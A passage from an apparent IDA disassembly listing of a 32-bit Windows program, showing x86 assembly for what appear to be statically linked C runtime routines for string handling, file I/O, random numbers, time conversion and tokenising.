--------------------------------------------------------------------------- align 4 loc_40FBC4: ; CODE XREF: sub_40FB80+14j ; sub_40FB80+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_40FBCC: ; CODE XREF: sub_40FB80+Ej test edx, 1 jz short loc_40FBE8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_40FBC4 inc ecx or al, al jz short loc_40FBC0 test edx, 2 jz short loc_40FB90 loc_40FBE8: ; CODE XREF: sub_40FB80+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_40FBC4 or al, al jz short loc_40FBC0 cmp ah, [ecx+1] jnz short loc_40FBC4 or ah, ah jz short loc_40FBC0 add ecx, 2 jmp short loc_40FB90 sub_40FB80 endp ; =============== S U B R O U T I N E ======================================= sub_40FC04 proc near ; CODE XREF: sub_4032AB+A8p ; sub_405076+2C4p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_40FC19 or eax, 0FFFFFFFFh jmp short loc_40FC53 ; --------------------------------------------------------------------------- loc_40FC19: ; CODE XREF: sub_40FC04+Ej test al, 83h jz short loc_40FC51 push esi call sub_415014 push esi mov edi, eax call sub_414FAE push dword ptr [esi+10h] call sub_414EFB add esp, 0Ch test eax, eax jge short loc_40FC3F or edi, 0FFFFFFFFh jmp short loc_40FC51 ; --------------------------------------------------------------------------- loc_40FC3F: ; CODE XREF: sub_40FC04+34j mov eax, [esi+1Ch] test eax, eax jz short loc_40FC51 push eax call sub_40ECAF and dword ptr [esi+1Ch], 0 pop ecx loc_40FC51: ; CODE XREF: sub_40FC04+17j ; sub_40FC04+39j ... mov eax, edi loc_40FC53: ; CODE XREF: sub_40FC04+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_40FC04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FC5A proc near ; CODE XREF: sub_4032AB+7Ep ; sub_405076+1B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_40FC7E xor eax, eax jmp loc_40FD27 ; --------------------------------------------------------------------------- loc_40FC7E: ; CODE XREF: sub_40FC5A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_40FC91 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_40FC9D ; --------------------------------------------------------------------------- loc_40FC91: ; CODE XREF: sub_40FC5A+2Dj mov [ebp+arg_C], 1000h jmp short loc_40FC9D ; --------------------------------------------------------------------------- loc_40FC9A: ; CODE XREF: sub_40FC5A+C4j mov ecx, [ebp+arg_0] loc_40FC9D: ; CODE XREF: sub_40FC5A+35j ; sub_40FC5A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_40FCCF mov eax, [esi+4] test eax, eax jz short loc_40FCCF cmp ecx, eax mov edi, ecx jb short loc_40FCB4 mov edi, eax loc_40FCB4: ; CODE XREF: sub_40FC5A+56j push edi push dword ptr [esi] push ebx call sub_40E940 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_40FD1A ; --------------------------------------------------------------------------- loc_40FCCF: ; CODE XREF: sub_40FC5A+49j ; sub_40FC5A+50j cmp ecx, [ebp+arg_C] jb short loc_40FD02 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_40FCE5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_40FCE5: ; CODE XREF: sub_40FC5A+80j push eax push ebx push dword ptr [esi+10h] call sub_4151BF add esp, 0Ch test eax, eax jz short loc_40FD2C cmp eax, 0FFFFFFFFh jz short loc_40FD32 sub [ebp+arg_0], eax add ebx, eax jmp short loc_40FD1A ; --------------------------------------------------------------------------- loc_40FD02: ; CODE XREF: sub_40FC5A+78j push esi call sub_4150E6 cmp eax, 0FFFFFFFFh pop ecx jz short loc_40FD36 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_40FD1A: ; CODE XREF: sub_40FC5A+73j ; sub_40FC5A+A6j cmp [ebp+arg_0], 0 jnz loc_40FC9A mov eax, [ebp+arg_8] loc_40FD27: ; CODE XREF: sub_40FC5A+1Fj ; sub_40FC5A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40FD2C: ; CODE XREF: sub_40FC5A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_40FD36 ; --------------------------------------------------------------------------- loc_40FD32: ; CODE XREF: sub_40FC5A+9Fj or dword ptr [esi+0Ch], 20h loc_40FD36: ; CODE XREF: sub_40FC5A+B2j ; sub_40FC5A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_40FD27 sub_40FC5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD42 proc near ; CODE XREF: sub_4032AB+47p ; sub_40FE9A+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_40FD5E mov [edi+4], ebx loc_40FD5E: ; CODE XREF: sub_40FD42+17j push 1 push ebx push esi call sub_415560 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_40FDCC mov edx, [edi+0Ch] test dx, 108h jnz short loc_40FD83 sub eax, [edi+4] jmp loc_40FE95 ; --------------------------------------------------------------------------- loc_40FD83: ; CODE XREF: sub_40FD42+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_40FDBD mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4BB7C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_40FDD4 mov edx, ecx loc_40FDAE: ; CODE XREF: sub_40FD42+79j cmp edx, eax jnb short loc_40FDD4 cmp byte ptr [edx], 0Ah jnz short loc_40FDBA inc [ebp+var_8] loc_40FDBA: ; CODE XREF: sub_40FD42+73j inc edx jmp short loc_40FDAE ; --------------------------------------------------------------------------- loc_40FDBD: ; CODE XREF: sub_40FD42+50j test dl, 80h jnz short loc_40FDD4 mov dword_4BA284, 16h loc_40FDCC: ; CODE XREF: sub_40FD42+2Dj or eax, 0FFFFFFFFh jmp loc_40FE95 ; --------------------------------------------------------------------------- loc_40FDD4: ; CODE XREF: sub_40FD42+68j ; sub_40FD42+6Ej ... cmp [ebp+var_4], 0 jnz short loc_40FDE2 mov eax, [ebp+var_8] jmp loc_40FE95 ; --------------------------------------------------------------------------- loc_40FDE2: ; CODE XREF: sub_40FD42+96j test byte ptr [edi+0Ch], 1 jz loc_40FE8D mov edx, [edi+4] test edx, edx jnz short loc_40FDFB and [ebp+var_8], edx jmp loc_40FE8D ; --------------------------------------------------------------------------- loc_40FDFB: ; CODE XREF: sub_40FD42+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4BB7C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_40FE87 push 2 push 0 push [ebp+var_C] call sub_415560 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_40FE4E mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_40FE39: ; CODE XREF: sub_40FD42+104j cmp eax, ecx jnb short loc_40FE48 cmp byte ptr [eax], 0Ah jnz short loc_40FE45 inc [ebp+arg_0] loc_40FE45: ; CODE XREF: sub_40FD42+FEj inc eax jmp short loc_40FE39 ; --------------------------------------------------------------------------- loc_40FE48: ; CODE XREF: sub_40FD42+F9j test byte ptr [edi+0Dh], 20h jmp short loc_40FE82 ; --------------------------------------------------------------------------- loc_40FE4E: ; CODE XREF: sub_40FD42+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_415560 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_40FE75 mov ecx, [edi+0Ch] test cl, 8 jz short loc_40FE75 test ch, 4 jz short loc_40FE78 loc_40FE75: ; CODE XREF: sub_40FD42+124j ; sub_40FD42+12Cj mov eax, [edi+18h] loc_40FE78: ; CODE XREF: sub_40FD42+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_40FE82: ; CODE XREF: sub_40FD42+10Aj jz short loc_40FE87 inc [ebp+arg_0] loc_40FE87: ; CODE XREF: sub_40FD42+D9j ; sub_40FD42:loc_40FE82j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_40FE8D: ; CODE XREF: sub_40FD42+A4j ; sub_40FD42+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_40FE95: ; CODE XREF: sub_40FD42+3Cj ; sub_40FD42+8Dj ... pop edi pop esi pop ebx leave retn sub_40FD42 endp ; =============== S U B R O U T I N E ======================================= sub_40FE9A proc near ; CODE XREF: sub_4032AB+41p ; sub_4032AB+4Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_40FF16 mov edi, [esp+8+arg_8] test edi, edi jz short loc_40FEB9 cmp edi, 1 jz short loc_40FEB9 cmp edi, 2 jnz short loc_40FF16 loc_40FEB9: ; CODE XREF: sub_40FE9A+13j ; sub_40FE9A+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_40FED0 push esi call sub_40FD42 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_40FED0: ; CODE XREF: sub_40FE9A+27j push esi call sub_415014 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_40FEE5 and al, 0FCh mov [esi+0Ch], eax jmp short loc_40FEF9 ; --------------------------------------------------------------------------- loc_40FEE5: ; CODE XREF: sub_40FE9A+42j test al, 1 jz short loc_40FEF9 test al, 8 jz short loc_40FEF9 test ah, 4 jnz short loc_40FEF9 mov dword ptr [esi+18h], 200h loc_40FEF9: ; CODE XREF: sub_40FE9A+49j ; sub_40FE9A+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_415560 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_40FF23 ; --------------------------------------------------------------------------- loc_40FF16: ; CODE XREF: sub_40FE9A+Bj ; sub_40FE9A+1Dj mov dword_4BA284, 16h or eax, 0FFFFFFFFh loc_40FF23: ; CODE XREF: sub_40FE9A+7Aj pop edi pop esi retn sub_40FE9A endp ; =============== S U B R O U T I N E ======================================= sub_40FF26 proc near ; CODE XREF: sub_40FF46+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41576A test eax, eax jnz short loc_40FF30 retn ; --------------------------------------------------------------------------- loc_40FF30: ; CODE XREF: sub_40FF26+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4155FA add esp, 10h retn sub_40FF26 endp ; =============== S U B R O U T I N E ======================================= sub_40FF46 proc near ; CODE XREF: sub_4032AB+30p ; sub_405076+105p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_40FF26 add esp, 0Ch retn sub_40FF46 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40FF60 proc near ; CODE XREF: sub_403372+5Cp ; sub_403372+8Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_410014 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_40FF8A loc_40FF7B: ; CODE XREF: sub_40FF60+28j mov al, [edi] inc edi test al, al jz short loc_40FFBB test edi, 3 jnz short loc_40FF7B loc_40FF8A: ; CODE XREF: sub_40FF60+19j ; sub_40FF60+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_40FF8A mov eax, [edi-4] test al, al jz short loc_40FFC8 test ah, ah jz short loc_40FFC3 test eax, 0FF0000h jz short loc_40FFBE test eax, 0FF000000h jnz short loc_40FF8A loc_40FFBB: ; CODE XREF: sub_40FF60+20j dec edi jmp short loc_40FFCB ; --------------------------------------------------------------------------- loc_40FFBE: ; CODE XREF: sub_40FF60+52j sub edi, 2 jmp short loc_40FFCB ; --------------------------------------------------------------------------- loc_40FFC3: ; CODE XREF: sub_40FF60+4Bj sub edi, 3 jmp short loc_40FFCB ; --------------------------------------------------------------------------- loc_40FFC8: ; CODE XREF: sub_40FF60+47j sub edi, 4 loc_40FFCB: ; CODE XREF: sub_40FF60+5Cj ; sub_40FF60+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_40FFE0 mov ebx, ecx shr ecx, 2 jnz short loc_41002C jmp short loc_40FFFC ; --------------------------------------------------------------------------- loc_40FFE0: ; CODE XREF: sub_40FF60+75j ; sub_40FF60+93j mov dl, [esi] inc esi test dl, dl jz short loc_41001A mov [edi], dl inc edi dec ecx jz short loc_410010 test esi, 3 jnz short loc_40FFE0 mov ebx, ecx shr ecx, 2 jnz short loc_41002C loc_40FFFC: ; CODE XREF: sub_40FF60+7Ej ; sub_40FF60+CAj mov ecx, ebx and ecx, 3 jz short loc_410010 loc_410003: ; CODE XREF: sub_40FF60+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_410012 dec ecx jnz short loc_410003 loc_410010: ; CODE XREF: sub_40FF60+8Bj ; sub_40FF60+A1j mov [edi], cl loc_410012: ; CODE XREF: sub_40FF60+ABj pop ebx pop esi loc_410014: ; CODE XREF: sub_40FF60+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41001A: ; CODE XREF: sub_40FF60+85j ; sub_40FF60+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_410024: ; CODE XREF: sub_40FF60+E4j ; sub_40FF60+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_40FFFC loc_41002C: ; CODE XREF: sub_40FF60+7Cj ; sub_40FF60+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_410024 test dl, dl jz short loc_41001A test dh, dh jz short loc_410078 test edx, 0FF0000h jz short loc_410068 test edx, 0FF000000h jnz short loc_410024 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_410068: ; CODE XREF: sub_40FF60+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_410078: ; CODE XREF: sub_40FF60+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_40FF60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410090 proc near ; CODE XREF: sub_4034A7+8Bp ; sub_4034A7+BCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_410113 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_4100B4 shr ecx, 2 jnz short loc_410121 jmp short loc_4100D5 ; --------------------------------------------------------------------------- loc_4100B4: ; CODE XREF: sub_410090+1Bj ; sub_410090+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_4100E2 test al, al jz short loc_4100EA test esi, 3 jnz short loc_4100B4 mov ebx, ecx shr ecx, 2 jnz short loc_410121 loc_4100D0: ; CODE XREF: sub_410090+8Fj and ebx, 3 jz short loc_4100E2 loc_4100D5: ; CODE XREF: sub_410090+22j ; sub_410090+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41010E dec ebx jnz short loc_4100D5 loc_4100E2: ; CODE XREF: sub_410090+2Bj ; sub_410090+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4100EA: ; CODE XREF: sub_410090+2Fj test edi, 3 jz short loc_410104 loc_4100F2: ; CODE XREF: sub_410090+72j mov [edi], al inc edi dec ecx jz loc_410186 test edi, 3 jnz short loc_4100F2 loc_410104: ; CODE XREF: sub_410090+60j mov ebx, ecx shr ecx, 2 jnz short loc_410177 loc_41010B: ; CODE XREF: sub_410090+7Fj ; sub_410090+F4j mov [edi], al inc edi loc_41010E: ; CODE XREF: sub_410090+4Dj dec ebx jnz short loc_41010B pop ebx pop esi loc_410113: ; CODE XREF: sub_410090+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_410119: ; CODE XREF: sub_410090+A9j ; sub_410090+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_4100D0 loc_410121: ; CODE XREF: sub_410090+20j ; sub_410090+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_410119 test dl, dl jz short loc_41016B test dh, dh jz short loc_410161 test edx, 0FF0000h jz short loc_410157 test edx, 0FF000000h jnz short loc_410119 mov [edi], edx jmp short loc_41016F ; --------------------------------------------------------------------------- loc_410157: ; CODE XREF: sub_410090+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41016F ; --------------------------------------------------------------------------- loc_410161: ; CODE XREF: sub_410090+B1j and edx, 0FFh mov [edi], edx jmp short loc_41016F ; --------------------------------------------------------------------------- loc_41016B: ; CODE XREF: sub_410090+ADj xor edx, edx mov [edi], edx loc_41016F: ; CODE XREF: sub_410090+C5j ; sub_410090+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_410181 loc_410177: ; CODE XREF: sub_410090+79j xor eax, eax loc_410179: ; CODE XREF: sub_410090+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_410179 loc_410181: ; CODE XREF: sub_410090+E5j and ebx, 3 jnz short loc_41010B loc_410186: ; CODE XREF: sub_410090+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_410090 endp ; =============== S U B R O U T I N E ======================================= sub_41018E proc near ; CODE XREF: sub_4034A7+43p ; sub_4037AE+39p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_422080, eax retn sub_41018E endp ; =============== S U B R O U T I N E ======================================= sub_410198 proc near ; CODE XREF: sub_4034A7+4Ap ; sub_403675+4Dp ... mov eax, dword_422080 imul eax, 343FDh add eax, 269EC3h mov dword_422080, eax sar eax, 10h and eax, 7FFFh retn sub_410198 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101B6 proc near ; CODE XREF: sub_4034A7+3Dp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_41A0F0 ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_41A130 ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_4BA27A jnz short loc_41021B mov ax, [ebp+var_18] cmp ax, word_4BA278 jnz short loc_41021B mov ax, [ebp+var_1A] cmp ax, word_4BA276 jnz short loc_41021B mov ax, [ebp+var_1E] cmp ax, word_4BA272 jnz short loc_41021B mov ax, [ebp+var_20] cmp ax, word_4BA270 jnz short loc_41021B mov eax, dword_4BA268 jmp short loc_410260 ; --------------------------------------------------------------------------- loc_41021B: ; CODE XREF: sub_4101B6+28j ; sub_4101B6+35j ... lea eax, [ebp+var_CC] push eax call dword_41A12C ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_410248 cmp eax, 2 jnz short loc_410244 cmp [ebp+var_32], 0 jz short loc_410244 cmp [ebp+var_24], 0 jz short loc_410244 push 1 pop eax jmp short loc_41024B ; --------------------------------------------------------------------------- loc_410244: ; CODE XREF: sub_4101B6+7Aj ; sub_4101B6+81j ... xor eax, eax jmp short loc_41024B ; --------------------------------------------------------------------------- loc_410248: ; CODE XREF: sub_4101B6+75j or eax, 0FFFFFFFFh loc_41024B: ; CODE XREF: sub_4101B6+8Cj ; sub_4101B6+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4BA270 movsd movsd movsd movsd pop edi mov dword_4BA268, eax pop esi loc_410260: ; CODE XREF: sub_4101B6+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_4157E2 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_410290 mov [ecx], eax locret_410290: ; CODE XREF: sub_4101B6+D6j leave retn sub_4101B6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4102A0 proc near ; CODE XREF: sub_4048B2+31p ; sub_404FE0+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41031A mov dh, [ecx+1] test dh, dh jz short loc_410307 loc_4102B8: ; CODE XREF: sub_4102A0+52j ; sub_4102A0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4102DA test al, al jz short loc_4102D4 loc_4102C9: ; CODE XREF: sub_4102A0+32j mov al, [esi] inc esi loc_4102CC: ; CODE XREF: sub_4102A0+3Fj cmp al, dl jz short loc_4102DA test al, al jnz short loc_4102C9 loc_4102D4: ; CODE XREF: sub_4102A0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4102DA: ; CODE XREF: sub_4102A0+23j ; sub_4102A0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4102CC lea edi, [esi-1] loc_4102E4: ; CODE XREF: sub_4102A0+63j mov ah, [ecx+2] test ah, ah jz short loc_410313 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_4102B8 mov al, [ecx+3] test al, al jz short loc_410313 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4102E4 jmp short loc_4102B8 ; --------------------------------------------------------------------------- loc_410307: ; CODE XREF: sub_4102A0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_410AA6 ; --------------------------------------------------------------------------- loc_410313: ; CODE XREF: sub_4102A0+49j ; sub_4102A0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41031A: ; CODE XREF: sub_4102A0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_4102A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410320 proc near ; CODE XREF: sub_404A2C+6p ; sub_404A4A+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4BA314, 0 push ebx push esi push edi jnz short loc_41034D mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4103E6 cmp eax, 5Ah jg loc_4103E6 add eax, 20h jmp loc_4103E6 ; --------------------------------------------------------------------------- loc_41034D: ; CODE XREF: sub_410320+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_410381 cmp dword_424430, esi jle short loc_41036F push esi push ebx call sub_414E86 pop ecx pop ecx jmp short loc_410379 ; --------------------------------------------------------------------------- loc_41036F: ; CODE XREF: sub_410320+42j mov eax, off_424224 mov al, [eax+ebx*2] and eax, esi loc_410379: ; CODE XREF: sub_410320+4Dj test eax, eax jnz short loc_410381 loc_41037D: ; CODE XREF: sub_410320+ADj mov eax, ebx jmp short loc_4103E6 ; --------------------------------------------------------------------------- loc_410381: ; CODE XREF: sub_410320+3Aj ; sub_410320+5Bj mov edx, off_424224 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4103A5 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_4103AE ; --------------------------------------------------------------------------- loc_4103A5: ; CODE XREF: sub_410320+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_4103AE: ; CODE XREF: sub_410320+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4BA314 call sub_4158A4 add esp, 20h test eax, eax jz short loc_41037D cmp eax, esi jnz short loc_4103D9 movzx eax, [ebp+var_4] jmp short loc_4103E6 ; --------------------------------------------------------------------------- loc_4103D9: ; CODE XREF: sub_410320+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4103E6: ; CODE XREF: sub_410320+16j ; sub_410320+1Fj ... pop edi pop esi pop ebx leave retn sub_410320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103EB proc near ; CODE XREF: sub_404E6A+3Dp ; sub_404E6A+54p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_410404: ; CODE XREF: sub_4103EB+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_410404 mov edx, [ebp+arg_0] test edx, edx jnz short loc_41042C mov edx, dword_4BA280 loc_41042C: ; CODE XREF: sub_4103EB+39j ; sub_4103EB+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41044C test al, al jz short loc_41044C inc edx jmp short loc_41042C ; --------------------------------------------------------------------------- loc_41044C: ; CODE XREF: sub_4103EB+58j ; sub_4103EB+5Cj mov ebx, edx loc_41044E: ; CODE XREF: sub_4103EB+81j mov al, [edx] test al, al jz short loc_410472 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41046E inc edx jmp short loc_41044E ; --------------------------------------------------------------------------- loc_41046E: ; CODE XREF: sub_4103EB+7Ej and byte ptr [edx], 0 inc edx loc_410472: ; CODE XREF: sub_4103EB+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4BA280, edx and eax, ebx pop ebx leave retn sub_4103EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410487 proc near ; CODE XREF: sub_405076+1FEp ; sub_405076+2AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_4104AB xor eax, eax jmp loc_410578 ; --------------------------------------------------------------------------- loc_4104AB: ; CODE XREF: sub_410487+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_4104BE mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_4104C5 ; --------------------------------------------------------------------------- loc_4104BE: ; CODE XREF: sub_410487+2Dj mov [ebp+arg_C], 1000h loc_4104C5: ; CODE XREF: sub_410487+35j ; sub_410487+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_4104F9 mov eax, [esi+4] test eax, eax jz short loc_4104F9 cmp ebx, eax mov edi, ebx jb short loc_4104DF mov edi, eax loc_4104DF: ; CODE XREF: sub_410487+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_40E940 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41053F ; --------------------------------------------------------------------------- loc_4104F9: ; CODE XREF: sub_410487+47j ; sub_410487+4Ej cmp ebx, [ebp+arg_C] jb short loc_410544 test ecx, ecx jz short loc_41050D push esi call sub_415014 test eax, eax pop ecx jnz short loc_410586 loc_41050D: ; CODE XREF: sub_410487+79j cmp [ebp+arg_C], 0 jz short loc_410520 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_410522 ; 